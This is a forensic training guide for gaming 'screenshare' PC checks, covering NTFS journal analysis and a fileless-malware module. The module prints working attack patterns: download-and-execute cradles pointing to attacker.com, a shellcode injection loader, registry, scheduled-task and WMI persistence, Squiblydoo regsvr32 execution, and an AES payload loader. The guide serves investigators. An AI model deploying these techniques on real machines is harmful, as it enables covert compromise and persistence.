  • Trace 4: Nanosecond component of modified timestamps is exactly zero — real Windows timestamps always carry non-zero sub-second precision.
  • Trace 5: Prefetch for the timestomping tool itself may be present (e.g., BulkFileChanger.exe).
Anti-Forensics Technique: Secure Deletion Tools
  • Method: Tools like Eraser, SDelete, or custom wipers overwrite file data before deletion to prevent content recovery.
  • Trace 1: $J will still contain FILE_DELETE and preceding DATA_OVERWRITE/DATA_EXTEND records for the targeted files. The filenames are preserved.
  • Trace 2: The overwrite pattern (e.g., SDelete renames files to a sequence of Z characters before deletion) produces highly distinctive RENAME_OLD_NAME + RENAME_NEW_NAME records in $J.
  • Trace 3: Prefetch for the secure deletion tool (sdelete.exe, eraser.exe) will be present and can confirm its use.
  • Trace 4: Multiple rapid DATA_OVERWRITE records for the same file before FILE_DELETE is consistent with a multi-pass wipe cycle.
Analyst Note

No common anti-forensic technique against $LogFile or $J is truly clean. Every method leaves at least one verifiable trace. When a suspect has clearly attempted to clear journal evidence, the attempt itself — demonstrable through the traces above — is significant context for interpretation.

§ 13

Gaming & Screenshare Red Flags

In the context of Minecraft and FiveM PC checks, these journals patterns that are specifically meaningful in a gaming anti-cheat context. The following indicators are derived from common cheat client behaviors, cleaner usage, and anti-forensic techniques encountered in active screenshares.

High-Signal $J Indicators for Gaming Screenshares
IndicatorConfidenceNotes
FILE_CREATE / FILE_DELETE for known cheat client names in .minecraft\mods, AppData, or DownloadsVERY HIGHKnown clients: LiquidBounce, Wurst, Meteor, Aristois, Impact, Inertia, etc. Even partial name matches are significant.
FILE_CREATE for .zip or .jar files followed closely by FILE_DELETE — both in DownloadsHIGHClassic download-install-delete-clean pattern. Gap of minutes to hours between creation and deletion is most suspicious.
RENAME events where the old name is a recognizable cheat client nameVERY HIGHPlayers sometimes rename cheat JARs to something like optifine.jar before screenshare. $J will contain both names.
FILE_CREATE + FILE_DELETE for cleaner executables (CCleaner, BleachBit, PrivaZer, Eraser)HIGHCleaners run immediately before a screenshare are a well-established evasion pattern. The cleaner's own traces in $J are ironic but inevitable.
BASIC_INFO_CHANGE on .jar files in the mods folder with zero-nanosecond timestampsHIGHTimestomping on mods — attempting to make a recently added mod appear old.
FILE_CREATE / FILE_DELETE for injection-related executable names (DLL files, injectors)VERY HIGHFiveM context. Relevant names: any DLL in unusual paths, executables in Temp/AppData with random-looking names adjacent to FiveM process times.
FILE_DELETE events for \AppData\Roaming\.minecraft\logs\latest.log or similarHIGHMinecraft logs are cleared by some clients on exit or by players manually. Log deletion before a screenshare is suspicious.
STREAM_CHANGE or NAMED_DATA_EXTEND on otherwise innocuous filesMEDIUMAlternate Data Stream usage — data hidden in a named stream attached to a normal file (e.g., image.png:payload).
Prefetch for FSUTIL.EXE combined with recent $J creation timestampVERY HIGHDefinitive evidence of fsutil usn deletejournal being run to clear the journal.
All $J records have timestamps within the last few hours on a system used for monthsVERY HIGHIndicates journal was recently reset. The absence of historical data is itself the evidence.
FiveM-Specific Paths to Monitor
  • FiveM application data — %localappdata%\FiveM\FiveM.app\ — any unexpected DLL creation or executable addition here
  • FiveM cache directory — %localappdata%\FiveM\FiveM.app\data\game-storage\ — injection tools sometimes stage files here
  • System32 / SysWOW64 — look for FILE_CREATE events for DLL files with non-standard names proximal to FiveM launch times
  • Temp directories — %temp% and C:\Windows\Temp — many injectors and loaders stage in Temp and delete themselves after injection
  • Startup / persistence paths — %appdata%\Microsoft\Windows\Start Menu\Programs\Startup — FILE_CREATE here indicates attempted persistence
§ 14

Tools Reference

ToolAuthor / SourceFunctionBest For
MFTECmdEric Zimmermann (EZ Tools)Parses $MFT, $LogFile, $UsnJrnl:$J, $Boot, $SDS. Exports to CSV/JSON. Free.Primary tool for all NTFS journal parsing. Outputs timeline-ready CSVs. The standard tool for screenshare $J analysis.
Timeline ExplorerEric Zimmermann (EZ Tools)GUI for viewing and filtering large CSV timelines from MFTECmd outputFiltering $J output by filename pattern, timestamp range, or reason code after MFTECmd export
NTFSLogTrackerJoakim SchichtParses $LogFile with operation code breakdown and transaction reconstructionDeep $LogFile analysis including timestomping before/after recovery
LogFileParserJoakim SchichtAlternative $LogFile parser; CSV output with LSN, operation code, redo/undo dataSupplementary $LogFile tool when NTFSLogTracker output needs verification
KAPEEric Zimmermann / KrollForensic acquisition framework — triage tool for collecting NTFS artifacts from a live systemCollecting $MFT, $LogFile, $J, Prefetch, and event logs simultaneously during a screenshare or triage
AutopsyBasis Technology (open source)Full forensic suite with NTFS support, timeline analysis, keyword search, and deleted file recoveryFull case analysis, deleted file recovery, $I30 carving, correlation across multiple artifact types
VelociraptorVelocidex (open source)Endpoint forensics and remote acquisition; VQL queries for NTFS artifact collectionRemote collection during a live screenshare session; can collect $J and $MFT without agent pre-installation
fsutil.exeMicrosoft (built-in)Native Windows tool for querying $UsnJrnl — can dump raw records and query journal statusQuick first-look at journal status without additional tools; checking if journal exists and its configuration
Magnet AXIOM / IEFMagnet Forensics (commercial)Commercial DFIR platform with NTFS journal parsing and integrated timelineCommercial/professional investigations requiring court-ready output
§ 15

PowerShell & Command-Line Reference

Check USN Journal Status (Built-In)
CMD / PowerShelljournal_status.ps1
# Query the USN journal status — no special tools needed
# Shows if the journal exists, its size config, and the current/first USN
fsutil usn queryjournal C:

# Example output fields to check:
#   Usn Journal ID     — unique ID; changes if journal is deleted and recreated
#   First Usn          — oldest USN still present in $J
#   Next Usn           — next USN to be assigned (current journal position)
#   Maximum Size       — configured max size (default ~0x2000000 = 32 MB)
#   Allocation Delta   — how much is freed when journal wraps (default ~0x800000 = 8 MB)

# A Maximum Size of 512 bytes or similarly tiny value indicates deliberate shrinkage
# A recent First Usn close to Next Usn indicates the journal was recently cleared/reset
This command requires no external tools and runs in any CMD or PowerShell window. The output alone can confirm whether the journal has been tampered with.
Collect NTFS Artifacts with MFTECmd
PowerShellcollect_ntfs.ps1
# ── Requires MFTECmd.exe (EZ Tools) — run as Administrator ──────

$out = "C:\ForensicOutput"
New-Item -Path $out -ItemType Directory -Force | Out-Null

# Parse $MFT — full file listing including deleted entries
MFTECmd.exe -f "C:\`$MFT" --csv $out --csvf mft_output.csv

# Parse $UsnJrnl:$J — complete file activity journal
MFTECmd.exe -f "C:\`$Extend\`$UsnJrnl:$J" --csv $out --csvf j_output.csv

# Parse $LogFile — NTFS transaction log
MFTECmd.exe -f "C:\`$LogFile" --csv $out --csvf logfile_output.csv

# Note: Backtick-escapes required in PowerShell for $ in NTFS metadata paths
# The tool handles raw volume access internally — files do not need to be copied first

Write-Host "Output written to $out"
Write-Host "Open CSVs in Timeline Explorer for filtering"
MFTECmd accesses the raw NTFS volume directly. Administrator rights are required. The output CSVs can be opened directly in Timeline Explorer for filtering by filename, timestamp, and reason code.
Quick $J Search — Known Cheat Client Names
PowerShellsearch_j_output.ps1
# After running MFTECmd to produce j_output.csv:
# Filter $J CSV for known cheat client indicators

$jPath = "C:\ForensicOutput\j_output.csv"
$data = Import-Csv $jPath

# Known Minecraft cheat client name fragments
$mcPatterns = @(
  'liquidbounce', 'wurst', 'meteor', 'aristois',
  'impact', 'inertia', 'xray', 'aimbot',
  'autoclicker', 'killaura', 'scaffold',
  'baritone', 'freecam', 'antiknockback'
)

# Known cleaners / anti-forensic tools
$cleanerPatterns = @(
  'ccleaner', 'bleachbit', 'privazer', 'eraser',
  'sdelete', 'fsutil', 'bcwipe', 'fileshredder'
)

# Combine all patterns
$allPatterns = $mcPatterns + $cleanerPatterns

# Filter and display results
$hits = $data | Where-Object {
  $name = $_.Name.ToLower()
  $allPatterns | Where-Object { $name -like "*$_*" }
}

$hits | Select-Object UpdateTimestamp, Reason, Name, ParentPath |
  Sort-Object UpdateTimestamp |
  Format-Table -AutoSize

# Write hits to separate file for reporting
$hits | Export-Csv "C:\ForensicOutput\j_hits.csv" -NoTypeInformation
This script post-processes MFTECmd's CSV output to surface high-value hits quickly. Adjust the patterns array as needed. Export the hits CSV as evidence documentation.
Check for Journal Tampering Indicators
PowerShelljournal_tamper_check.ps1
# Quick tamper-indicator checks — run as Administrator

# 1. Check USN journal configuration
Write-Host "=== USN Journal Status ==="
fsutil usn queryjournal C:

# 2. Check $UsnJrnl file timestamps via MFT
# If the journal was deleted and recreated recently, its creation time will be suspicious
Write-Host `n"=== $UsnJrnl MFT Entry ==="
$result = MFTECmd.exe -f "C:\`$MFT" --csvf mft_tmp.csv --csv . 2>$null
Import-Csv .\mft_tmp.csv |
  Where-Object { $_.FileName -eq '$UsnJrnl' } |
  Select-Object FileName, Created0x10, LastModified0x10, LastRecordChange0x10

# 3. Check Prefetch for fsutil.exe (evidence of deletejournal command)
Write-Host `n"=== FSUTIL Prefetch Entries ==="
Get-ChildItem "C:\Windows\Prefetch" -Filter "FSUTIL*" |
  Select-Object Name, LastWriteTime, CreationTime

# 4. Show first and last $J timestamps from MFTECmd output
# A gap between system install date and first $J record is suspicious
Write-Host `n"=== $J Timestamp Range ==="
$j = Import-Csv "C:\ForensicOutput\j_output.csv" |
  Sort-Object UpdateTimestamp
Write-Host "Oldest $J record: $(($j | Select-Object -First 1).UpdateTimestamp)"
Write-Host "Newest $J record: $(($j | Select-Object -Last 1).UpdateTimestamp)"
This script surfaces the key tamper indicators in one pass. The combination of a recent $UsnJrnl creation timestamp, a FSUTIL Prefetch entry, and a short $J history window is strong evidence of deliberate journal clearing.
§ 16

Conclusion

$LogFile and $UsnJrnl:$J represent two layers of the same truth: a near-complete, tamper-resistant record of everything that happened to the filesystem. In screenshare contexts, they are among the most powerful artifacts available precisely because they require no special logging configuration, are invisible to most users, and survive the vast majority of cleanup attempts.

$LogFile gives you depth — the ability to see the exact before-and-after state of metadata changes, recover pre-timestomping timestamps, and detect ADS creation with surgical precision. $J gives you breadth — a long-running, timestamp-accurate record of every file operation across the entire volume, including the names and exact deletion times of files that no longer exist.

Together, they close the most common evasion loops: deleting evidence, renaming files to hide them, running a cleaner, and timestomping. In each case, the journal either contains the event directly, or the anti-forensic action itself leaves a distinct and recognizable pattern that supports rather than undermines the investigative conclusion.

Final Note

The most important habit when working with these artifacts is to extract them early and interpret them conservatively. A $J hit for a suspicious filename is evidence that the file existed and was operated upon — it is not automatically a ban. Context from Prefetch, MFT timestamps, $I30 slack, and event logs should all be cross-referenced before conclusions are stated with high confidence.

MODULE 05 / 10 Fileless Malware

Investigate behavior beyond a file

Listen to this lesson3 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

When activity depends on memory, scripts, or legitimate tools, a search for an unfamiliar executable is only one part of the investigation.

Start with execution context

Investigate the parent process, command line, user context, network activity, and relevant runtime state. PowerShell and other signed system tools have legitimate uses. Suspicion depends on what they did and how they were invoked, not just their names.

Decode to understand; do not execute to inspect

Encoded or obfuscated commands can hide meaning. Decode and examine them as data in an analysis environment. Encoding alone is not proof of malicious behavior. Preserve the original command and document each transformation so your interpretation is reproducible.

Look for persistence and memory evidence

The source guide covers registry run keys, scheduled tasks, WMI event subscriptions, script-based execution, and process injection. Examine the mechanism, its configured action, its trigger, and the evidence that it executed. Memory can reveal runtime material that does not survive shutdown.

Check which telemetry exists

PowerShell logging, process auditing, and Sysmon provide different views of execution, depending on configuration. For example, Sysmon event 1 records process creation when the relevant telemetry is collected. The absence of a record from a source that was never enabled is not evidence that nothing ran.

A useful comparison

A routine administrator script and an attacker’s command may both use PowerShell. Compare the command’s behavior, parent process, source, destination, persistence changes, and surrounding timeline.

Telemetry reference: Microsoft Sysmon documentation.

Read the full reference
Listen to the full reference52 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Introduction & Background

This document provides a structured forensic and technical reference for fileless malware — one of the most evasive threat categories encountered in modern digital investigations. It is intended for forensic analysts, security researchers, and investigators conducting endpoint examinations including PC checks in environments such as FiveM, Minecraft servers, or enterprise networks.

Traditional malware analysis relies on a file-centric workflow: locate the executable, extract it, hash it, and match it against known signatures. This model has served the security industry for decades. Fileless malware is a deliberate attack on this model's foundational assumption — that malicious code must exist on disk to cause harm.

By operating exclusively within memory and abusing legitimate Windows utilities, fileless attacks achieve a level of stealth that renders most conventional endpoint security tools ineffective. Understanding these attacks at a technical level is the prerequisite for detecting and investigating them credibly.

Scope of This Document

This reference covers the Windows operating system, where the overwhelming majority of fileless attacks are observed. The techniques described apply to Windows 10, Windows 11, and Windows Server editions. Some behaviors differ between 32-bit and 64-bit processes; notes are provided where relevant.

§ 02

What Is Fileless Malware?

Fileless malware is malicious activity that executes entirely within a system's volatile memory (RAM) and does not write a persistent malicious binary to disk. The term is somewhat imprecise — most fileless attacks do involve some form of file-based initial delivery (a phishing document, a malicious link) — but the key distinction is that no standalone executable payload is ever written to the file system.

The attacker leverages trusted, signed system utilities already present on the operating system to load, decode, and execute a payload that lives only in memory. This approach is categorized under "Living off the Land" (LotL) techniques — abusing the tools the operating system provides, against itself.

Core Characteristics
No disk artifactNo .exe, .dll, or script file is written as a standalone payload; nothing for file scanners to detect or hash
Memory-residentThe payload exists only in RAM; it is destroyed when the machine reboots (unless persistence is established)
LotL executionRelies on PowerShell, WMI, regsvr32, mshta, cscript, and other signed Windows binaries
Script-basedPowerShell, VBScript, JScript, and .NET reflection are common execution carriers
Signature-resistantNo file hash to match; most AV tools are ineffective without behavioral or memory-based detection
Volatile evidencePrimary evidence exists only in RAM; rebooting the machine destroys the payload
Attack Lifecycle Overview

A typical fileless attack follows a multi-stage chain. Understanding the full chain helps investigators identify which stages left artifacts and where to focus forensic effort.

StageDescriptionCommon VectorDisk Artifact?
Initial AccessAttacker gains entry to the endpointPhishing email, malicious Office macro, browser exploitSometimes (document file)
ExecutionInitial code runs and calls a trusted binaryOffice spawning PowerShell or cmd.exeNo
Download / StagingSecond-stage payload fetched from remote URLInvoke-WebRequest, certutil, bitsadminNo (memory only)
In-Memory ExecutionPayload decoded and executed from RAMInvoke-Expression, Assembly::Load()No
Persistence (optional)Mechanism established to survive rebootRegistry run keys, scheduled tasksRegistry / task XML
C2 CommunicationAttacker communicates with compromised hostHTTP/HTTPS, DNS tunnelingNo
ObjectiveData exfiltration, credential theft, lateral movementVariesMinimal
§ 03

Attack Technique — PowerShell Abuse

PowerShell is the most frequently weaponized tool in fileless attack chains. Its deep integration with the .NET framework, its ability to execute code downloaded from remote sources, and its near-universal presence on Windows systems make it an exceptionally capable and available attack platform. Critically, PowerShell can compile and execute .NET code at runtime — allowing a complete payload to run from a string, never touching disk.

Key Abuse Mechanisms
  • -ExecutionPolicy Bypass — overrides the system execution policy without changing it; the most common first flag in PowerShell abuse
  • Invoke-Expression (iex) — evaluates an arbitrary string as code; when combined with a downloaded string, this is the core of most fileless PS attacks
  • Invoke-WebRequest / Invoke-RestMethod — downloads content from remote URLs, including scripts and binary payloads
  • System.Reflection.Assembly::Load() — loads a .NET assembly directly from a byte array in memory, bypassing the normal file-load process
  • -EncodedCommand — accepts a base64-encoded command, concealing the actual instruction from log scraping and string analysis
  • -WindowStyle Hidden / -NonInteractive — suppresses the PowerShell window and user interaction prompts
  • Add-Type — compiles and loads C# code inline within a script, enabling shellcode execution from pure PowerShell
Attack Pattern — Remote Download & Execute
PowerShellpattern_01_cradle.ps1
# Stage 1: policy bypass + silent window + remote cradle
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "
  Invoke-Expression (Invoke-RestMethod -Uri 'https://attacker.com/stage2.ps1')
"

# Shortened alias variant (common in obfuscated samples)
powershell -ep bypass -c "iex(iwr 'https://attacker.com/stage2.ps1' -UseBasicParsing)"

# Stage 2 (retrieved from remote, runs in memory):
$wc = New-Object System.Net.WebClient
$bytes = $wc.DownloadData('https://attacker.com/payload.bin')
[System.Reflection.Assembly]::Load($bytes)  # load .NET assembly from byte array
The download cradle fetches a remote script and executes it entirely in memory via iex. The Assembly::Load() call in stage 2 loads a compiled .NET binary from bytes — no file ever written.
Attack Pattern — Reflective Shellcode Loading
PowerShellpattern_02_shellcode.ps1
# P/Invoke via Add-Type — compile C# inline, call VirtualAlloc, inject shellcode
$code = @"
using System;
using System.Runtime.InteropServices;
public class Loader {
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr a, uint s, uint t, uint p);
    [DllImport("kernel32")]
    public static extern IntPtr CreateThread(IntPtr a, uint s, IntPtr f, IntPtr p, uint c, IntPtr id);
    [DllImport("msvcrt")]
    public static extern IntPtr memset(IntPtr d, int c, uint cnt);
}
"@
Add-Type $code  # compiles C# at runtime — no .exe written

$buf  = [Byte[]](0xfc,0x48,0x83,...)  # shellcode bytes
$addr = [Loader]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)  # RWX memory
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
[Loader]::CreateThread(0, 0, $addr, 0, 0, 0)  # execute shellcode thread
This technique compiles C# code inline, allocates executable memory, copies shellcode into it, and executes it as a thread — entirely without touching disk. The shellcode itself is typically a Meterpreter or Cobalt Strike stager.
Investigator Note — Downgrade Attack

Attackers frequently force PowerShell to downgrade to version 2.0 using powershell -Version 2, which disables Script Block Logging and AMSI (Antimalware Scan Interface) — both of which were introduced in v5. Check event logs for PowerShell version 2 execution; it has almost no legitimate use on modern systems.

§ 04

Attack Technique — Registry-Based Persistence

The Windows Registry provides a persistent storage mechanism that attackers exploit to maintain a presence across reboots without placing executable files on disk. By encoding an entire payload — or a loader command — into a registry value, the attacker ensures their code survives system restarts while remaining invisible to file-based scanning.

Common Persistence Key Locations
Run KeysHKCU\Software\Microsoft\Windows\CurrentVersion\Run
Run KeysHKLM\Software\Microsoft\Windows\CurrentVersion\Run
RunOnceHKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
WinlogonHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
ServicesHKLM\SYSTEM\CurrentControlSet\Services\[ServiceName]
COM HijackHKCU\Software\Classes\CLSID\{GUID}\InprocServer32
Registry Persistence Implementation
CMD / Registryregistry_persistence.cmd
:: Create run key with encoded PowerShell payload
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" ^
  /v "WindowsDefenderUpdate" ^
  /t REG_SZ ^
  /d "powershell -WindowStyle Hidden -EncodedCommand <BASE64>" /f

:: Store payload binary in obscure registry location (REG_BINARY)
reg add "HKCU\Software\Microsoft\Cryptography\{random-guid}" ^
  /v "Config" /t REG_BINARY /d [hex-encoded-payload] /f

:: Loader retrieves and executes it:
$data = (Get-ItemProperty -Path "HKCU:\Software\Microsoft\Cryptography\{guid}").Config
$dec  = [System.Text.Encoding]::Unicode.GetString($data)
Invoke-Expression $dec
The run key executes the encoded command on every user login. The second pattern stores the actual payload as binary data in an obscure registry path, retrieved and decoded at runtime.
  • Value naming — attackers mimic legitimate entry names: "WindowsDefenderUpdate", "MicrosoftEdge", "SystemHealthService"
  • Timestamps — registry key last-write times can help place the persistence installation within an attack timeline
  • HKCU vs HKLM — HKCU requires only standard user privileges; HKLM requires admin rights and is therefore more reliable if the attacker has escalated
§ 05

Attack Technique — Scheduled Tasks as Loaders

Windows Task Scheduler allows code execution at login, at defined intervals, on system events, or on network availability. Attackers create tasks that invoke PowerShell or other scripting engines with obfuscated payloads, providing reliable fileless persistence. Tasks are defined as XML files under C:\Windows\System32\Tasks\, but their execution leaves no additional disk artifact.

PowerShell / CMDscheduled_task_persistence.ps1
# Create a scheduled task that runs at user logon
$action  = New-ScheduledTaskAction -Execute "powershell.exe" `
              -Argument "-WindowStyle Hidden -EncodedCommand <BASE64>"
$trigger = New-ScheduledTaskTrigger -AtLogOn
$settings= New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateCore" `
  -Action $action -Trigger $trigger -Settings $settings -RunLevel Highest

# Alternative via schtasks.exe (often less logged)
schtasks /create /tn "WindowsDefenderCacheMaintenance" /tr ^
  "powershell -ep bypass -W H -Enc <BASE64>" /sc onlogon /ru SYSTEM /f
Tasks are named to resemble legitimate Windows maintenance jobs. The /ru SYSTEM flag attempts SYSTEM-level execution if the attacker has elevated privileges.
Investigation Focus

Enumerate all scheduled tasks and examine the action command line of each. Any task invoking powershell.exe, cmd.exe, wscript.exe, mshta.exe, or cscript.exe with encoded or obfuscated parameters is highly suspicious. Check the task creation timestamp via Event ID 4698 in the Windows Security log.

§ 06

Attack Technique — Regsvr32 Abuse

regsvr32.exe is a signed Windows binary used to register and unregister COM components. A well-documented fileless technique — known as Squiblydoo — exploits its ability to download and execute a remote COM scriptlet (.sct) file without writing anything to disk. Because regsvr32.exe is Microsoft-signed, it bypasses AppLocker and Software Restriction Policies in default configurations.

CMDsquiblydoo.cmd
:: Squiblydoo — remote scriptlet execution via regsvr32
regsvr32 /s /n /u /i:https://attacker.com/payload.sct scrobj.dll

:: Parameter breakdown:
::   /s         — silent (suppress all dialogs)
::   /n         — do not call DllRegisterServer
::   /u         — triggers DllInstall (with /i parameter)
::   /i:[url]   — URL or path for scriptlet to install
::   scrobj.dll — Windows Script Component runtime (handles .sct parsing)

:: The .sct scriptlet format (XML-based, executes arbitrary JScript/VBScript):
<?XML version="1.0"?>
<scriptlet>
  <registration progid="TESTING" classid="{AAAA...}">
    <script language="JScript">
      <![CDATA[ var r = new ActiveXObject("WScript.Shell");
        r.Run("powershell -ep bypass -Enc <BASE64>", 0, false); ]]>
    </script>
  </registration>
</scriptlet>
The scrobj.dll handler fetches the remote .sct file, parses its XML, and executes the embedded JScript or VBScript payload in-process. Nothing is written to disk.

Related binaries subject to similar abuse include: mshta.exe (runs remote .hta files), cmstp.exe (COM+ Service Template — can load remote INF scripts), odbcconf.exe (executes DLL via REGSVR action), and wmic.exe (can invoke remote XSL stylesheets via /format).

§ 07

Attack Technique — WMI Abuse

Windows Management Instrumentation (WMI) is a powerful management framework that attackers exploit for both execution and persistence. WMI subscriptions allow code to execute in response to system events — reboots, user logons, process creation, time triggers — and run as a WMI Provider Host process, making the true origin difficult to identify.

WMI Event Subscription Persistence
PowerShell / WMIwmi_persistence.ps1
# WMI permanent event subscription — persists across reboots, stored in WMI repository

# 1. Event Filter — defines the trigger condition
$filter = Set-WmiInstance -Namespace root\subscription `
  -Class __EventFilter -Arguments @{
    Name           = "SystemHealthMonitor"
    EventNamespace = "root\cimv2"
    QueryLanguage  = "WQL"
    Query          = "SELECT * FROM __InstanceModificationEvent WITHIN 60
                      WHERE TargetInstance ISA 'Win32_LocalTime'
                      AND TargetInstance.Hours = 12"  # triggers at noon
  }

# 2. Event Consumer — the action to execute
$consumer = Set-WmiInstance -Namespace root\subscription `
  -Class CommandLineEventConsumer -Arguments @{
    Name            = "SystemHealthExecutor"
    CommandLineTemplate = "powershell -ep bypass -W H -Enc <BASE64>"
  }

# 3. Filter-to-Consumer Binding — links them
Set-WmiInstance -Namespace root\subscription `
  -Class __FilterToConsumerBinding -Arguments @{
    Filter   = $filter
    Consumer = $consumer
  }

# Stored in WMI repository: C:\Windows\System32\wbem\repository\
# Not a file on disk in the traditional sense — invisible to most scanners
WMI subscriptions are stored in the WMI repository binary database, not as readable files. Standard antivirus tools typically cannot inspect them. Execution appears as WmiPrvSE.exe spawning cmd or powershell.
Investigation

Use Get-WMIObject -Namespace root\subscription -Class __EventFilter, __EventConsumer, and __FilterToConsumerBinding to enumerate active subscriptions. Any subscription not recognizable as a legitimate product (e.g., some security software uses WMI subscriptions) should be investigated. The WMI repository path is C:\Windows\System32\wbem\repository\.

§ 08

Attack Technique — Process Injection

Process injection is the technique of inserting malicious code into the memory space of a legitimate running process, then executing it from within that process's context. This allows the malware to inherit the host process's security token, network identity, and trusted status — making it extremely difficult to distinguish from legitimate activity.

Common Injection Methods
MethodAPI Calls UsedDescriptionDetection Difficulty
Classic DLL InjectionOpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThreadWrites a DLL path into target process memory and triggers it via a remote threadMedium — DLL must exist on disk
Reflective DLL InjectionSame as above, but DLL loaded from memoryDLL contains its own loader; no LoadLibrary call needed; no disk artifactHigh — no file reference
Process HollowingCreateProcess (suspended), NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContextSpawns a legitimate process in suspended state, replaces its memory with payload, resumesHigh — legitimate process name covers payload
APC InjectionOpenThread, QueueUserAPCQueues an Asynchronous Procedure Call to a thread in the target processHigh — no new threads created
Atom BombingGlobalAddAtom, NtQueueApcThreadStores shellcode in global atom table, forces target to copy and execute itVery High — uses legitimate OS mechanisms
  • Common injection targets: explorer.exe, svchost.exe, lsass.exe, notepad.exe, RuntimeBroker.exe
  • Memory regions with RWX (read-write-execute) permissions in otherwise benign processes are a strong indicator
  • Unsigned code executing from heap or stack memory in a normally clean process is detectable via memory forensics
§ 09

Encoding & Encryption Techniques

Obfuscation is a foundational component of virtually all fileless malware deployments. Attackers layer multiple encoding and encryption techniques to defeat automated detection, sandbox analysis, and manual investigation. Each layer must be unwrapped during forensic analysis.

Layer 1 — Base64 Encoding
PowerShellbase64_obfuscation.ps1
# Original plaintext command:
Invoke-Expression (Invoke-RestMethod 'https://malicious.com/stage2.ps1')

# Encode for -EncodedCommand (must be UTF-16LE, not UTF-8):
$bytes  = [System.Text.Encoding]::Unicode.GetBytes('Invoke-Expression (...)')
$enc    = [Convert]::ToBase64String($bytes)
# Result: SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABJ...

# Execute:
powershell -EncodedCommand SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABJ...

# To decode during analysis:
[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($enc))
Note: PowerShell's -EncodedCommand requires UTF-16LE (little-endian Unicode) encoding, not UTF-8. A common analyst mistake is decoding with UTF-8, which produces garbage output.
Layer 2 — String Manipulation & Concatenation
PowerShellstring_obfuscation.ps1
# Character code reconstruction — bypasses simple string matching
$cmd = [char]73+[char]110+[char]118+[char]111+[char]107+[char]101  # "Invoke"
iex ($cmd + "-Expression ...")

# String reversal
$rev = "noisserp-xE-ekovnI" ; iex (-join $rev[-1..-$rev.Length])

# Format string substitution
$x   = "{0}{1}{2}" -f 'Inv', 'oke-', 'Expression'
iex $x

# Backtick insertion (ignored by PowerShell parser)
i`e`x("I`nv`oke-Expressio`n ...")
These techniques are specifically designed to defeat YARA rules and keyword-based log alerts. Automated deobfuscation tools like PSDecode and PowerDecode can help analysts reconstruct the original command.
Layer 3 — AES Encryption
PowerShellaes_payload.ps1
# AES-256 encrypted payload — decrypted and executed in memory
$key     = [byte[]](0x4A,0x2F,0xC8,0x91,0x3E,0xD2,0x7A,0x5B,...)  # 32 bytes
$iv      = [byte[]](0x9E,0x1D,0xF3,0x42,0x88,0xC6,0x0A,0x7F,...)  # 16 bytes
$payload = [Convert]::FromBase64String('<AES-256-CBC-encrypted-base64-blob>')

$aes     = [System.Security.Cryptography.Aes]::Create()
$aes.Key  = $key ; $aes.IV = $iv ; $aes.Mode = 'CBC' ; $aes.Padding = 'PKCS7'
$dec     = $aes.CreateDecryptor()
$code    = $dec.TransformFinalBlock($payload, 0, $payload.Length)

# Execute: option A — as script string
iex ([System.Text.Encoding]::Unicode.GetString($code))

# Execute: option B — as .NET assembly loaded from bytes
$asm = [System.Reflection.Assembly]::Load($code)
$asm.EntryPoint.Invoke($null, $null)
More sophisticated samples derive the key from an environmental variable, machine GUID, or a remote endpoint — causing the payload to fail in sandboxes that lack the target environment's specific characteristics.
§ 10

Forensic Artifacts & Investigation Points

Despite its design intent to leave no trace, fileless malware generates investigable artifacts across multiple data sources. A thorough investigation must systematically examine each of the following. The order below roughly reflects investigation priority for a time-constrained PC check.

PriorityArtifactExact LocationWhat to Examine
P1 PowerShell History %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt Full command history per user; look for bypass flags, iex, encoded commands, wget to external URLs
P1 PS Operational Log Event Viewer → Apps & Services Logs → Microsoft → Windows → PowerShell → Operational Script block logs (EID 4104), module loads (EID 4103); captures decoded content even when encoded on command line
P1 Windows Security Log Event Viewer → Windows Logs → Security EID 4688 (process creation with cmdline), EID 4698/4702 (task created/modified), EID 4648 (explicit credential logon)
P2 Running Process Tree Task Manager → Details, or Sysinternals Process Explorer Anomalous parent-child chains; look for browser/game/Office spawning powershell, wscript, or cmd
P2 Scheduled Tasks C:\Windows\System32\Tasks\ (XML files) + Task Scheduler MMC Action command lines; creation timestamps; tasks with encoded PS arguments; tasks named to mimic Windows components
P2 Registry Run Keys HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run[Once] Values containing powershell, cmd, wscript, mshta with encoded or obfuscated arguments; check last-write timestamps
P2 WMI Subscriptions root\subscription namespace: __EventFilter, __EventConsumer, __FilterToConsumerBinding Enumerate all three classes; any CommandLineEventConsumer with obfuscated command is highly suspicious
P3 SRUM Database C:\Windows\System32\sru\SRUDB.dat (ESE database) Application execution history with timestamps, network usage per process; parse with srum-dump or WinSearchDBAnalyzer
P3 Prefetch Files C:\Windows\Prefetch\POWERSHELL.EXE-*.pf Execution timestamps, run count, files accessed; confirms PS ran even if logs were cleared
P3 AmCache / ShimCache AmCache.hve: C:\Windows\AppCompat\Programs\Amcache.hve — ShimCache: SYSTEM hive Execution history of binaries including regsvr32, mshta; timestamps and file metadata even after deletion
P3 Clipboard History Windows Clipboard History (Win+V), ClipboardSvc Copied script fragments, commands, URLs, encoded strings used during manual staging or testing
P3 Network Artifacts Windows Firewall log: C:\Windows\System32\LogFiles\Firewall\pfirewall.log + DNS cache Outbound connections from powershell.exe, regsvr32.exe, or unusual processes; DNS queries to unknown domains; ipconfig /displaydns
§ 11

Memory Analysis

Memory forensics is the cornerstone of fileless malware investigation. Since the payload never reaches disk, a RAM dump captured while the system is still running may be the only source of the actual malicious code. Never reboot a suspected system before capturing a memory image.

Memory Acquisition Tools
